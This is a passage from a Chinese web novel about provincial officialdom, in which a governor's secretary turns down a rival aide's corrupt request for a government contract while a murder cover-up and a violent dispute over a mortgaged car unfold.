听到陈锋的声音,两名保安走了进来。 一位是保安队长,这个人李承认识。 另一位就是第一个给张英双挪车的人。 “张总,我是新来的,还没搞懂您的规矩,对不起!”保安深深鞠了一躬,对张英双道歉。 “不懂规矩就能上岗,陈总,你教的呢?”张英双咀嚼着饭菜,头也不抬地问陈锋。 陈锋是何许人也。 那在汉江也是黑白通吃的大人物! 在汉江,无论是商界,政界,还是江湖混混,都要给他几分薄面,对他尊重。 可他在张英双的面前,就像是一条哈巴狗。 面对如此不尊重的询问,陈锋却只能大气不敢喘地回答:“张处长,我是再三叮嘱过他们的。 但我也不可能每个保安都专门培训呀,这样,所有跟这件事有关的人员,我都开除处理,你看这么解决可以吗?” “没必要。” 张英双拿起手帕擦了擦嘴,说:“我也不是不通情达理,保安第一次犯错嘛,能够原谅。” “还不谢谢张总。”陈锋对保安们催促。 可不等保安表示感谢,张英双的下一句话接踵而至:“但是陈总,这种错误你不是第一次犯了吧!” 第204章 狗仗人势 “陈总,这种错误,你不是第一次犯了吧!” 张英双的这句话,带着浓郁的质问气息,让陈峰闻之色变。 “张处长,我手底下这么多人,总有几个不开眼的冒犯到了您,实在抱歉。 也是我管教不严,您跟在马老板身边,掌管一个省,数千万人口的大局,也没出现过这种差错。” 陈峰说着,拿了一个空杯过来,将杯中到了满满一整杯的茅台:“张处长,这杯酒我敬您,给您赔不是。” 陈峰这么大的老板,卑躬屈膝地给他赔礼道歉。 还是因为一件根本不值得计较的小事情。 李承觉得,就算张英双再怎么嚣张跋扈,这个面子该给了,人家给的台阶该下了。 可张英双只是静静地点燃了一根香烟,仍有陈峰举了半天的酒杯,他都没有半点回复。 但碍于张英双的身份,陈峰敢怒不敢言,脸上始终挂着淡淡的笑容。 他见张英双没有举杯之势,便直接仰头,将杯中的白酒一饮而尽。 喝完这一杯,陈峰又给自己倒了满满一杯:“我罚三杯!” 他很清楚,张英双没给他面子,就是他喝得不够多。 紧接着,陈峰又把这杯酒喝了进去。 杯子是二两的杯,两杯五十三度的茅台灌入胃中,尽管这个酒再怎么柔和,但它也是酒。 ‘呕’ 连着两杯下肚,陈峰已经有了作呕之态。 他连忙用手捂住嘴,强压了下去。 但在他的眼睛里,已经微微有了泪光。 这不是他哭了,而是那种压制呕吐后的本能反应。 “陈总,吃口菜吧,长夜漫漫,赔礼慢慢赔。”李承开口劝道。 作为省长的秘书,他觉得,他开了口,张英双会给他几分薄面。 毕竟,这顿饭是对方宴请的李承,李承是客。 可对于李承的开口,张英双却没有回答。 他拿起酒瓶,亲自给陈峰满了整整一杯后,他也端起了自己的酒杯。 “张处长,我敬您。” 陈峰清楚,张英双端了杯,是代表这杯酒下肚,就可以放过他,于是陈峰再次端起杯。 在跟张英双碰杯后,他将杯中酒一饮而尽。 而张英双只是轻轻抿了一小口,便放下了杯。 陈峰一连喝了三杯,半斤多的白酒下肚,一般人也承受不住。 陈峰捂着嘴,甚至来不及放下酒杯就冲出了包厢,紧接着,门外就传来了一阵呕吐声。 ‘呕...’ 看到自己简单的一句话就将陈峰这种商业大亨逼到喝吐,张英双脸上挂起一抹十分轻蔑的笑容:“李秘书,吃菜,不用在意他,小喽啰而已。” “嗯。” 李承夹起一块海参,送入口中,慢慢咀嚼。 “抱歉,张处长,李处长,我不胜酒力,出丑了。”陈峰吐完后,再次走了进来,向两人表达歉意。 他虽为汉江黑白通吃的一位大人物,汉江市长刘宝林都跟他称兄道弟。 可在面对李承和张英双时,却始终要毕恭毕敬。 在东江省,为他们两个人职位高的人,数不胜数,可这两位是东江党,政一把手的秘书,刘宝林也得罪不起的人物。 李承还好,没有那么多花花肠子,也不屑于跟他们斤斤计较。 可这个张英双,是抓住一点小事情,都要把人往死里整的主,属于鬼见愁! “你敬了我三杯酒,还没有跟李处长喝过一杯,怎么?不给李处长面子?” 即便陈峰已经喝吐了,张英双仍然不准备放过他。 话说到这个份上,陈峰不喝都不行,而且喝的情况下,也要继续干杯。 “李处长,一直想找机会跟您喝酒,但您日理万机,今天借着张处长这个局,我敬您一杯。” 陈峰边说,边准备伸手给自己倒酒。 这时,李承伸出手,按住了他。 “陈总,没什么事情你就去忙吧,别喝了,我怕你吐我们桌子上,那我们这顿饭也就没法吃了。” 李承这番话听起来有些尖酸,实际上,是给陈峰找借口开脱。 “出去吧,我跟张处长要单独叙叙旧。” 看着陈峰左右为难的样子,李承再次给对方递了一个台阶。 “李处长是怕你毁了我们的心情,呵呵呵...出去吧。” 李承开了口,这次,张英双也给了面子,冲陈峰挥了挥手。 得到张英双的吩咐,陈峰这才告辞:“张处长,李处长,您二位慢慢喝,我就不打扰了。” 陈峰走后,张英双满脸的鄙夷笑容:“李处长,跟这种人来往,不需要太客气,你甚至不用拿他们当人看。 你帮他解了围,他也不会记你的好,但你要是敲打他,他一定会敬畏你!” “嗯。”李承微微点头,附和了一声。 “他们怕我们,是怕我们屁股底下的位置,等有一天我们不在这个位置上了,他们比谁都翻脸无情。 哪怕你对他再好,没有了价值和威慑,他们也会翻脸,这些人就是白眼狼。 既然养不熟,就趁着能管住的时候,狠狠的教训教训!” 张英双说出了他自己的那套理论。 他的理论,也是有个人道理在的,其中不乏一些正确观念。 很现实的问题就是,如果今天张英双和陈峰不是大领导的秘书,陈峰别说来敬酒,可能连个包厢都不会给他们二人安排。 “是呀,这个社会很现实,人更现实。”李承再次附和。 虽说,他话中的一些观点李承是赞同的,但李承仍然觉得他做得过于过分。 敲打,也不该在这种小事情上敲打。 他的这种敲打,就是典型的仗势欺人,以至于是狗仗人势。 “言归正传吧,李处长,今天找你来呢,是有一件事情想拜托你帮忙。” 张英双道。 对此,李承早有预料。 无事不登三宝殿,对方突然约自己吃饭,肯定是有事相商。 “你说。”李承放下筷子,等待对方开口。 “我有一个表弟,是做这个运输行业的,正好跟吾月县的污水运输对口。 你看,这个项目能不能帮下忙,项目嘛,给谁做都一样,混口营生的事儿。” 第205章 震撼消息 张英双把运输项目说得轻描淡写。 但这可不是一个小项目,政府项目,不仅有运输费,还有油补,利润绝对不少。 若是这个项目被一个运输队承包,利润起码在千万以上。 张英双张嘴就想让李承给他运作千万项目,还说得那么轻松,态度也那么高傲,让李承不爽。 “张处长,这件事恐怕我帮不到你,吾月县现在全权是由徐副省长做主。 而且以你的身份,想要运作这事,比我轻松得多。” 李承婉拒了张英双。 涉及认可以权谋私的问题,李承都不想沾边。 即便他没有从中获利,也绝不能给张英双的表弟开后门。 因为,这件事本身就超出了他的职责范围内,他去干涉会落人话柄。 “省委毕竟是决策,执行还是你们政府部门,我去运作过于繁琐了,而且,这也不是什么大事情。 项目给谁做都一样,我表弟也不会多要政府的一分钱。”张英双道。 “张处长,不是我不想帮这个忙,主要这个问题是徐副省长在负责,你也清楚其中的利害关系,我不能做的。” 李承摆出一副自己有苦衷的样子,再次婉拒。 徐铁生是什么人,张英双同样很清楚。 被他抓住了把柄,别说是李承,就是张英双也会被针对。 “李处长,你肯定是有办法的,老徐呢,又不会把重心放在这种小问题上。” 张英双不肯罢休。 “嗯.....” 对此,李承略作沉吟,表现出一副思索的样子。 这是演给张英双看的。 其实,他已经下定了决心,就是拒绝。 “李处长,你也不用急于回复我,仔细想一想,好好考虑一下。” 张英双摆了摆手,拿起筷子夹了一口菜,说:“我听到了一点风声,说是孟省长的家里,已经不准备让他继续留在东江省了,想给他调回到京城去。” 听到这个消息,李承的身体一怔。 他从没有听到过这种消息,但这句话是从张英双的口中说出来,断然不是空穴来风。 若是孟良德真回到了京城就职,自己怎么办? 这个消息太严肃了,让李承不禁胡思乱想,心乱如麻。 李承今天所拥有的一切,都是仰仗着他省长秘书的身份,如果孟良德走了,他就只是一个小小的副处级干部。 放在东江省的处级干部堆里,都能被淹死的存在。 “张处长,这个消息是从哪里来的?”李承忍不住地开口问。 “我也就是听了一嘴,不一定真啊,你也别放在心里。” 看着李承严肃的表情,张英双笑容更加灿烂:“孟省长一直揪着花海集团不放,人家也不是吃素的嘛。 孟省长的岳父不想让他继续插手,合情合理。” 张英双嘴上说着,让李承别放在心里。 可每一句话都是重磅炸弹。 花海集团的水,到底有多深,李承不知道。 可东江省近些年流传了一句话,叫:流水的领导班子,铁打的花海集团。 这一句话,就足以证明花海集团背景的雄厚。 至于张英双提到了孟良德的岳父,这一点,李承倒是有些耳闻。 孟良德本人出身就是根正苗红。 但他的岳父,更是一位重量级人物。 同为大学同学,杨兆华这么多年辛辛苦苦,在一些机遇下,才爬到了正厅级。 可孟良德却是正部级,其中的差距,是杨兆华奋斗到退休都达不到的高度。 而孟良德能在这个年纪,做到这个位置,背景因素很多。 “哦哦。” 李承点了点头,也没什么心情继续吃饭了。 “李承,我跟你说的事情,好好考虑考虑。” 这一回,张英双直接喊出了李承的大名。 他跟李承说了这么多,就是想告诉李承,孟良德这棵大树抱不稳。 识相的话,就用运输项目做敲门砖,这样,李承还能多了这一条人脉。 别看李承现在跟张英双能平起平坐,在这里喝酒。 但如果没有了省长秘书这个身份。 单单是一个副处级干部的话,那么,张英双将是李承仰望的存在。 “嗯,我会好好考虑的。”李承道。 “那就这样,我还有其他事,你吃饱了吧?”张英双问。 两个人压根没怎么吃东西,尤其是李承,更是没吃几口。 但对方态度很明显,就是把话说清楚了,不想跟李承浪费时间了,李承也不会没眼力见。 “吃饱了。”李承道。 “嗯,剩了这么多菜,你要不要打包?”张英双笑眯眯地问。 李承不喜欢浪费粮食,这么一大桌子菜,浪费了确实可惜。 一个经常以泡面充饥的人,在跟许梦吃饭时,会打包。 但跟张英双吃饭,他不会。 其中有尊严的问题。 “不了。” 李承站起身,拿起自己的外套。 两个人离开的包厢,张英双路过前台时,也只是简单地丢下了一句话:“记我账上。” 说完,他也不付钱,就离开了。 在牡丹会吃饭,张英双从来也没买过单。 在经理的恭送下,两个人出了饭店。 饭店是有免费代驾服务的,李承喝了酒,选择让代驾帮忙开车。 但张英双似乎并不喜欢别人碰他的车,他没有选择代驾,自己酒驾驶出了饭店。 “老板,您去哪?”代驾问。 李承看了一眼时间,距离许梦下班还有一个小时,他准备去等一会许梦:“省电视台。” “好的老板。”代驾微笑答应,驾驶起汽车。 汽车在出了饭店停车场,拐了一个弯后,就看到了前方有查酒驾的车辆。 “最近查酒驾的越来越多了,估计前面那个车就在劫难逃。” 代驾司机看着前方被交警截停,却并没有配合吹气,甚至没有降下车窗的汽车,感叹一声。 李承脑袋一直在想关于孟良德的事情,听到代驾司机的声音,目光也看了过去。 当看清楚前方的汽车和车牌号后,李承认了出来,这就是张英双的车。 而张英双还喝了酒。 正当交警察觉到张英双驾驶的车辆很不配合时,将他围拢。 而前方的张英双,只是不紧不慢地降下了车窗,将手伸了出去。 在他的手里,握着一个手机。 不知道说了些什么,那位交警弯下了腰,接听了这通电话后,对汽车敬了一个礼,直接放了行! 第206章 嘴脸 坐在车里。 李承等待着许梦下班。 他脑袋一直都在思考着刚才饭桌上,张英双最后扔下的几枚重磅炸弹。 孟良德的家里要将他调任回京,这个消息,多半是他从马洪波那边听说的。 如果是真,李承的仕途可就岌岌可危了。 跟在孟良德身边,他因为跟孟良德一样的不合群,得罪了不少人。 因为他是省长秘书,这些人不敢对他怎么样,表面还是毕恭毕敬。 可如果孟良德走了,人走茶凉,李承将会举步维艰。 孟良德无论走到哪里,无论得罪了什么人,但他的级别和背景在那里摆着,谁也不会拿他怎么样。 可李承不一样。 打铁还需自身硬,孟良德是真硬,而他是虚胖。 尤其是现在,有明文规定,领导调任不允许带随行人员,李承跟着孟良德去京城基本是无望。 好在,他还有杨兆华这条后路,就算孟良德离开,他应该也不会太惨。 自我安慰了一番后,李承开始思考张英双的请求。 但他最终的决定,还是拒绝。 张英双今天用实际行动,给李承上了一课。 他那副嚣张嘴脸之下,有一句话说的很在理。 别人恭维和忌惮的,不过是他们屁股下面的位置,这个位置哪怕是拴一条狗,那些人照样回恭维和忌惮。 这个理论,同样适用于对待张英双的这层关系。 就算李承办了他,只要离开了省长秘书的位置,失去了价值,对方也会翻脸不认账。 这些情分,都是在价值的基础上。 没了价值,又何谈情分? 正在李承胡思乱想时,车门被拉开,许梦坐上了主驾驶:“怎么了?又愁眉苦脸的,张英双欺负了呀?用不用我帮你报仇?” “你怎么帮我报仇?” 许梦的玩笑,逗笑了李承。 “简单呀,我花钱雇几个人砸他玻璃,趁他睡着吓死他。”许梦调皮的说。 “哈哈哈...” 李承勉强的笑了笑,说:“他怎么可能欺负我。” “那你因为什么不高兴?”许梦问。 “没什么。”李承摇头。 “好吧。” 李承不说的事情,许梦从来不会多问,她清楚李承的工作性质。 启动汽车,两个人朝着家的方向赶去。 “问你个问题呗。” 沉默了好久,李承突然开口。 “什么问题?”许梦问。 “如果我不是省长秘书了,只是一个简单的副处级干部,你会怎么样?”李承问。 虽说,他能感受到许梦对他的真挚感情。 可在官场上经历了这么多,他对谁都没有绝对的信任。 忍不住会担心,许梦也是为了他的身份地位而来。 他担心如果自己离开了这个位置,许梦也会有变化。 “那能怎么办,凉拌呗。” 许梦耸了耸肩,一副满不在乎的样子。 “我认真的呢。”李承说。 “孟省长要离开东江?还是你犯了什么错?”许梦见李承如此严肃,柳眉也皱了起来。 “我个人原因。” 孟良德要离开的消息,现在还不能确定。 就算是确定他要离开,在文件下发之前,也绝不能走漏风声。 所以,李承直接拦在了自己身上。 “宝宝,我爱的,是你这个人,就算你什么都不是,就是一个下岗工人,我也会爱你,这一点不会变,我可以发誓。” 许梦认真的说。 在她的眼神中,李承看到了满满的真诚。 他信了许梦的话,但也并没有全信。 信任是需要遇到事情来考验的,不是靠嘴说的。 而人呢,又是多变的。 可能这个人在上一秒,还都你全心全意,下一秒就捅你一刀。 大千世界,最不能信任的,就是人。 “谢谢你。” “谢什么,我们是要携手一生的,有什么问题,一起面对,而且我现在自媒体弄的不错,大不了以后我养你。” ..... 次日,早上。 李承如往常一样,来到了迎宾馆,陪孟良德吃早餐。 “昨天晚上喝酒了?”孟良德闲聊地问。 “嗯,喝了一些。”李承道。 “张秘书的招待标准,应该不低吧?”孟良德问。 “我们两个人吃饭,他点了起码一万块钱的菜,有些过度铺张浪费了。”李承感叹道。 想到昨晚那一桌子没怎么动筷的豪华宴席,李承仍觉得可惜。 “不是自己口袋里的钱,花起来也没什么顾虑。”孟良德说。 关于张秘书的行事作风,孟良德也早有耳闻。 只不过,对方是马洪波的秘书,孟良德自然不会因为这种小事情,多管闲事的去得罪马洪波。 打狗还要看主人,张英双的‘主子’都不管教,其余人又怎会乱插手。 “说实话,这顿饭虽然不用我花钱,但我都跟着心疼。”李承自嘲一笑,说。 “呵呵呵...这证明,你跟他是有本质不同的。” 孟良德淡淡一笑,问:“他找你,聊的什么事?” “他有一个表弟做运输生意的,想找我帮忙,争取一下吾月县污水运输的项目。” 李承如实说,并没有任何隐瞒:“我拒绝了他。” “嗯。” 孟良德微微点头,继续喝粥,边喝边道:“小李,你做事我是放心的,不过,我还是要提醒你一句,想要在仕途上走的长远,就要干干净净。” 他这句话,更加坚定了李承拒绝张英双的决心。 “我知道的,老板。”李承勉强挤出一抹笑,点头。 “我看你今天情绪不太高,有什么烦心事吗?”孟良德随口问。 看着孟良德,李承欲言又止。 他心里十分想问一问,孟良德即将回京城就职的事情,是不是真的。 因为,这关系到他自己的利益。 可想了想,李承还是没有问出嘴。 若真有此事,孟良德想说的时候,会告诉他。 既然没说,要么是这件事没敲定,要么就是对方不想说。 再者说,问了也改变不了什么,又何必多嘴去问呢? “昨天跟女朋友拌了几句嘴,闹了些别扭。”李承随口编了个理由,敷衍回答道。 “正常,两个人生活难免会有磕磕绊绊,只要不涉及原则,男人嘛,适当的让步。” 第207章 尸检报告的问题 上午。 省公安厅长鲁林,来见了孟良德。 李承给两个人沏了一壶茶,便坐在侧边,进行谈话记录。 “孟省长,这个您看一下,事情关系到金河集团前副董事长潘男。”鲁林表情严肃。 “嗯。” 孟良德应了一声,拿起了鲁林递过来的资料,看了起来。 他看了大概三五分钟,将资料递给了李承:“李秘书,你也看一下。” “好的。” 李承双手接过资料,认真的翻看着。 看到资料上的内容,李承的表情逐渐凝重起来。 金河集团前副董事长潘男,涉嫌诬陷当时任职汉江市委副书记的杨兆华,孟良德上任后,便对他们展开了调查。 当初,这个案子李承也参与在其中。 潘男还能拿出一百万,让陆涛收买陈思琪,给李承使用美人计。 结果,陆涛在里面赚取了八十万的差价,导致陈思琪不为二十万所动,把事情出卖给了李承。 这个潘男身上的事情很多,肚子里也藏了很多的秘密,而且,在一些调查的证据里,牵扯到了花海集团。 结果,潘男在医院突发心脏病,死在了病房。 他肚子里的秘密,也跟着彻底消失了。 当初,李承就十分怀疑潘男的死,是有人杀人灭口,但没有证据。 尸检报告也证实他是死于心脏病,心里有猜疑,也只能作罢。 可今天鲁林拿出的资料,却石锤了潘男的死因,并非是突发性心脏病,而是有人在他的输液里,添加了非正常药剂,造成了化学反应,出现了突发性心脏病死亡的特征。 “孟省长,您看这个案子,是否要重启调查。”鲁林请示道。 这是他上任后,用实际行动给孟良德递来的第一个投名状。 “查。”孟良德不容置疑的说。 “只是,这个尸检报告,还涉及到部里。”鲁林说出了自己的疑虑。 潘男的死,问题性很严重。 尸检报告定性为突发心脏病,不可能是检测的失误,其中,定然有人违规操作,故意包庇做的伪证。 尸检报告除了省里出具过,公安部的检验中心也给出具过报告,死因同样定性为突发心脏病。 这就证明,杀潘男灭口的人,手眼通天,直达京城。 “不要从这个方向调查,从投毒上入手吧。”孟良德严肃的道。 涉及到京城,省公安厅没有权限,如果在这个方向调查,牵扯太大。 何况,能够把手伸到那里的人物,也不是孟良德想要查就能查的,他也有顾虑和忌惮。 所以,他只能换个方向。 “好。”鲁林点头。 “扫黑除恶,你准备什么时候开展?”孟良德问。 “我的想法是,这件事查清楚,就开始进行扫黑除恶。”鲁林道。 “两个案子可以同步进行,你去提,我来批。”孟良德说。 “主要的问题,是我人手不够。”鲁林为难的说。 他说的人手不够,不是公安厅的人手不足。 而是他在公安厅,能够信得过的可支配力量有限。 “你专心负责调查这个案件,扫黑除恶交给市局来做。”孟良德道。 “嗯,好。” 孟良德态度强硬,鲁林只好点头答应。 李承能够明显感觉到,孟良德正在加快对案件的调查,目标是直指花海集团。 这不禁再次让李承联想到,孟良德可能要回京城的消息。 ..... ‘铃铃铃....’ 下午,李承照常办公时,桌子上的座机响了起来。 是省委张秘书打来的电话。 “喂,李秘书。”张英双的声音传了过来。 “张秘书,你说。” 这是办公电话,称呼就要喊职务,而不是客气的称呼对方为处长。 “下午孟省长有时间吗?洪波书记想要见他一面。”张英双问。 “孟省长下午的安排很满。” 李承对于当天的行程表了如指掌,孟良德这一天的行程,都是满满当当,抽不出时间。 “你看能不能在下午三点半,抽出一些时间来?”张英双问。 省委书记也很忙,他的空闲时间在三点半。 两位领导在工作时间的碰面,如果没有提前的约时间,是很麻烦的。 两位领导的工作都很繁忙,很少有重叠的空闲时间。 “这样,我去请示一下。”李承说。 如果孟良德想要去省委见马洪波,时间上,还是能挤出来的。 有一些安排,可以延后。 但李承不能替孟良德做决定,他只是一个传话筒的工作。 “好,我等你回复。” 说完,张英双挂断了电话。 敲了敲门,李承走进了省长办公室。 “省长,刚才省委张秘书打开电话,洪波书记想请您在下午三点半去一趟省委。” 李承向是将电话内容汇报给孟良德后,继续道:“这个时间点,审计厅的王副厅长要来汇报工作。” “嗯....” 孟良德略微沉吟,说:“让王前晚一点到迎宾馆来见我吧,下午先去见洪波书记。” “好。” 得到孟良德的许可,李承点了点头,退出了办公室,给张英双回了电话。 下午三点半。 孟良德和马洪波在省委书记办公室碰面。 李承则等候在张英双的办公室里。 “听说李秘书很懂茶,尝尝我这个茶怎么样?”张英双给李承倒了一杯茶,说。 李承接过纸杯,品了一口茶。 “嗯,好茶,这可是极品的正山小种,烟熏香,果香,蜜香,山野香味的融合恰到好处。” 李承对于这个茶叶,给予了极高的肯定。 茶叶绝对是好茶叶,唯独的缺点,就是用纸杯冲泡的,香味没有被充分的激发出来。 “还是张秘书懂生活呀。”李承意味深长的感慨道。 “口粮茶,就是喝着不错,我不太懂,但看得出来,李秘书很懂嘛,改天我给你拿两盒。”张英双笑呵呵的道。 昨天的饭局,李承见识到了这位省委书记秘书的奢侈程度。 对于这种极品好茶当做口粮茶,也就见怪不怪了。 “谢谢张秘书的好意了,我还是习惯喝我冰箱里的冰红茶,这种好东西,偶尔品鉴一下足以。” 第208章 搅浑 李承拒绝张英双的送茶,就是在跟张英双撇清楚关系。 也是通过这种方式,变相地告诉对方,关于运输项目,自己帮不到他。 “呵呵...冰红茶也是茶,喝得方便,挺好。” 看到李承拒绝,张英双脸上的笑意收敛,皮笑肉不笑。 “李秘书,昨天跟你提的事情,考虑怎么样了?”张英双走到李承的身边坐下,压低声音,问。 “我认真地考虑过,只是,这件事的确超出了我的能力范围,怕是帮不到你。” 李承微微摇头,摆出一副难为情的样子,拒绝了他。 “唉...看来李秘书是不太愿意给我这个面子。” 张英双叹了一口气,但他的态度,不是失望,更像是一种威胁:“我也是帮我表弟问问,不行就算了。” “嗯。” 李承将杯中茶喝完,把纸杯丢进了垃圾桶里,静等孟良德。 孟良德与马洪波的这次沟通时间不长,半个小时不到,谈话就已经结束了。 但走出来的,并非只有孟良德一个人。 政法委书记刘景军也在。 回到省政府。 孟良德表情始终很严肃。 “这个老狐狸,又搞起了政治平衡这一套。”孟良德点燃了一根香烟,轻哼一声。 李承已经成为了他信任的亲信,有些话,他也不介意对李承发发牢骚。 “洪波书记那边,是什么意思?”李承给孟良德的杯中续满了水,平静地问。 孟良德居然提起此事,就代表他有想告知的打算。 李承也就顺着问了下去。 “他劝我不要再深查潘男的问题,担心会影响组织架构的稳定。” 孟良德吸了一口烟,说:“前脚刚让鲁林向我透露这个消息,后脚就想叫停,他这是急于在这件事上撇清楚自己呀。” 孟良德的这句话,的的确确点在了关键上。 下午,马洪波将孟良德和刘景军一同叫到办公室,谈的是关于金河集团前副董事长潘男死亡伪证的问题。 关于伪证的问题,三个人的观点一致,就是调查。 不过,调查也分深浅。 孟良德主张是彻查到底。 而马洪波的意思,就是查到涉事的医生,点到为止。 虽未明确说,话里话外传达的观点,就是以医疗事故作为终止。 在这个上面,孟良德和马洪波存在一定的分歧。 但这个分歧,是马洪波估计做给刘景军看的。 刘景军在一定立场上,倾向于本地派系。 马洪波的表达,也是在变相地向‘本地派’传递一个信息,他的一切决策以政治平衡为主。 相当于是摆出一个‘老好人’的中立姿态。 如果孟良德准备继续深究,便加深了与‘本地派’的敌对程度,可以起到相互制衡的作用。 “省长,那我们还要继续查下去吗?”李承试探地问。 “当然要查,我不管什么政治平衡,有问题就要彻查到底。”孟良德态度坚决。 看似,他是正中马洪波的下怀,加深与‘本地派’的矛盾。 实则,在孟良德的心中已然有了打算,他要把水搅浑。 搅得越浑,他才越有机会。 ..... 在孟良德的施压下,鲁林开展了对于潘男死亡真相的调查。 与此同时,市公安局开展扫黑除恶专项斗争,剑指雷二利的同时,也对整个汉江的涉黑团伙展开了调查与抓捕。 而省办公厅则协同多个部门,准备对田进骅提起过的境外家属所展开调查。 不过,涉及境外,难度较大,主要的调查方向,还是以境内的扫黑除恶为主。 ‘叮铃铃...’ 这天夜里,李承跟许梦温存后,准备相拥入眠时,许梦手机铃声响了起来。 “谁呀?”李承随口问。 “是我们台里的同事,我也见过,张馨。”许梦说。 张馨是许梦在电视台里的朋友,属于幕后,算是许梦的半个助理。 两个人关系不错,平日里总在一起吃饭。 李承也见过她几次,一个胖胖的小姑娘,性格特别开朗。 电话接听,许梦放了免提键。 “呜呜呜....” 接通后,张馨的哭泣声先传了过来。 “张馨,你怎么了?” 许梦听到张馨的哭声,连忙问道。 “梦姐...我....” 张馨的哭声持续不止,哽咽到无法正常言语。 “怎么了?你慢慢说,别着急。”许梦说。 “我..我爸爸被人打死了...我...我也不知道该怎么办...”张馨哭得更加大声。 听到出了人命,许梦从床上惊坐起来:“你在哪了?” “我在二院...呜呜...我实在不知道该找谁帮忙了....”张馨的声音里,透露着浓浓的无助。 一个小姑娘,遇到这种事情,早已经乱了分寸,不知如何是好。 “行,我现在过去,你在那等我。” 张馨是她的好朋友,朋友在这种最需要人陪伴的时候,许梦当然会去。 “我跟你一起去。” 许梦挂断电话后,李承也起身开始穿衣服。 张馨是许梦的朋友,许梦要去,李承也不可能坐视不管。 况且,现在扫黑除恶刚刚开始,就有人在这个时候闹出刑事案件的人命,于公于私,他都应该去了解一下情况。 开着车,两个人用最快时间赶到了二院。 “张馨是单亲家庭,她妈妈在她两岁的时候就抛下她和她爸走了,这些年她跟她爸爸相依为命。 现在,她爸爸出了事,估计她....” 许梦叹了一气,没有再继续说下去。 两个人快步来到抢救室门口,此时,张馨正坐在长椅上,捂着脸哭泣。 空荡荡的走廊里,只有她一个人,没有人陪着她。 “张馨。” 许梦和李承走到她的身边,她都没有发现,直到许梦拍了拍她的肩膀,喊出她的名字,张馨这才抬起头。 泪水早已经朦胧了她的眼睛,她抹了一把眼泪,在看清楚许梦后,一下扑进她的怀里,将许梦紧紧抱住:“梦姐...我该怎么办啊...呜呜...” “没事,有我陪着你了,别哭。” 第209章 抵押车 “人不还是在抢救中吗?说不定没什么事呢。” 李承看着抢救室还在亮着灯,就证明人还没有死,还有希望。 这可跟张馨在电话里说她爸爸被打死了,事实是有不符的。 “没救了,你们没看到,我爸爸身上都是血,那个刀都把肠子...呜呜呜...” 回想起她将父亲送进医院时的样子,张馨哭得更加猛烈。 刀划破了肚皮,肠子都掉了出来,在张馨看来,她爸爸已经必死无疑了。 “只要抢救还没结束,就还有希望,别把结果想得那么坏。”许梦轻轻拍着张馨的后背,安慰着他。 “报警了吗?”李承问。 “报警了。”张馨点头。 她知道李承是省长的秘书,那双泪汪汪的大眼睛看着李承:“姐夫,你帮帮我好不好,我真不知道现在该怎么办了。” “哪个派出所出的警?”李承问。 “我也不知道,我报完警就送我爸来医院了,我...不知道...”张馨摇头。 “嗯。” 李承点了点头,没再多问。 但他也没有去联系宫庆鑫,这件事已经出了警,有正规的调查流程。 李承就算打电话去询问,也不能起到什么作用。 而且,时间还这么晚了,李承也不想打扰宫庆鑫休息。 电话打过去,就是会欠人情的。 陪着张馨在抢救室等到了凌晨一点,抢救室的灯终于灭了。 一名医生疲惫地走了出来。 “大夫,我爸爸他怎么样了?” 张馨一个箭步冲了上去,因为焦急,脚步不稳还险些摔倒,被许梦及时扶住。 “病人的生命体征已经稳定,还需要到重症监护室里观察。”医生说。 “谢谢大夫,太好了。” 听到父亲没事,张馨的泪水再次控制不住的流了出来。 “别哭了,叔叔都没事了。”许梦在一旁劝道。 陪着张馨,一直到她父亲被推进了重症监护室,张馨的情绪才逐渐稳定了下来。 “叔叔是得罪了什么人吗?”李承问。 “具体我也不太清楚,好像是跟我爸前段时间买的车有关系。”张馨说。 “车?” 李承纳闷。 买车,一手交钱,一手交货,其中能够涉及什么,还至于险些闹出人命? 李承想不通。 “我爸这个人,就是喜欢占小便宜,这不最近两年打工赚了些钱,过年前就买了台车,想回村过年时,能够撑撑面子。 当初我就劝他别买,说这种车不把握,他不听。”张馨哭哭啼啼的说。 她越说,李承越懵。 车是前年买的,无论是买的一手车,还是二手车,也都该落完了户。 这能有什么不稳妥的呢? “他买的什么车,因为一个车,不至于吧,这里面是不是还有什么其他事情?”李承皱着眉头,问。 这里面,一定是涉及到了什么纠纷问题。 不然,不可能闹到这种地步。 “他花了八万块钱,买了一台五年前的路虎揽胜。”张馨说。 “八万块钱买揽胜?” 李承觉得十分不可思议。 路虎揽胜那是百万级豪车,别说是五年前的车,就是十五年前的车,也不可能八万块钱就买到手。 这其中,一定有猫腻和套路。 “嗯,他买的是抵押车,就是不能过户的那一种。”张馨解释道。 “哦。” 李承点了点头。 他以前听说过抵押车,但对此,不是很了解:“那也不至于闹出人命吧?” “这种车我打听过,本身就不靠谱,就是别人欠钱不还,把车抵押给金融公司的。 可能同一台车抵押给好几个金融公司,就会出现互相抢车的情况。 车到家后,我爸还特意花钱把定位都拆了一遍,也没拆干净。 前天上午,我爸的车就停在小区楼下,就被人给偷走了。 我爸在买车后,也在车里安装了GPS,跟着定位就找到了这台车,想要用同样的方式把这台车开回来。 结果就被那群人给发现了,发生了口角,再之后,我爸就....” 张馨没有再说下去,但李承也知道答案。 那就是,她爸爸被人捅伤,送进了抢救室。 当听到抵押车的来龙去脉后,李承不禁想起了一个人。 海森市的陈志伟。 李承去过他的办公室,在他办公室的后院里就停了很多的车。 那里面的车,就都是金融公司抵账收回来的。 陈志伟那是什么角色,纯纯的黑恶势力,想来,能够干这一行的,也就不是什么善茬。 张馨父亲一个普通老百姓,去他们手里抢套路车,后果可想而知。 “我就说他不要贪小便宜,他偏不听,就是鬼迷心窍,说什么花小钱办大事,唉....” 张馨长长的叹了一口气。 卖这种套路车的人,就是抓住了客户花小钱,装大逼的心里。 但买的怎么可能有卖的精明? 往往是以为自己占了便宜,实则是要吃大亏! “这应该都是有组织有预谋的团伙作案。”李承认真的说。 “姐夫,你一定能帮我爸讨回公道,抓住坏人的,对不对?”张馨楚楚可怜的看着李承。 医疗费是一笔天文数字,远远超过了张馨能够承受的负担。 只要抓住了那些坏人,拿到了赔偿,才能给她父亲提供更好的治疗条件。 “嗯,一定会,你要相信政府。”李承认真的道。 现在正直扫黑除恶的风口,就有人主动往枪口上撞,就算李承不插手,对方也一定是在劫难逃的。 只不过,李承可以推波助澜,将对方定个典型,严肃处理。 “张馨挺可怜的,你要不明天跟宫局打个电话,问问这件事吧。”许梦也看向李承,说。 她一个人从川蜀来到这边,本来就没什么朋友。 张馨对她不错,她也想尽力的去帮帮张馨。 “现在是扫黑除恶的风口,我明天也跟市局方面,探讨一下这个案情。” 李承答应后,问张馨:“对方有公司吗?你爸爸是怎么联系到这个渠道的?” 李承认为,售卖这种车,应该属于违法行为。 